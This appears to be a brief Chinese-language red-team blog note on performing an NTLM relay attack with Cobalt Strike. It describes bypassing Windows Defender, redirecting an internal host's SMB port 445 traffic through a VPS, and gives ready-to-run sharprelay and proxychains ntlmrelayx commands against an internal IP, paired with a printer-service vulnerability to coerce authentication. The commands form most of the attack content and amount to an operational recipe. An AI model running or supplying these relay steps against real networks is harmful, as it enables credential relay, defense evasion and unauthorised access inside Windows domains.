NTLM Relay With CobaltStrike

PS: 个人感觉这个工具让Relay攻击更加丝滑了.

以及前置知识去这里了解https://daiker.gitbook.io/windows-protocol/

Upload

先Bypass WD这个KIT的代码我分享过了.

把内网目标的8444端口转发到VPS

把内网主机的445端口流量转发到他本地的8444

sharprelay server1 "C:\Users\administrator\Desktop\Check\Wing\WinDivert64.sys" 445 8444

攻击75的机器

proxychains4 python ntlmrelayx.py -t smb://192.168.123.75 -smb2support -no-http-server

配合打印机服务漏洞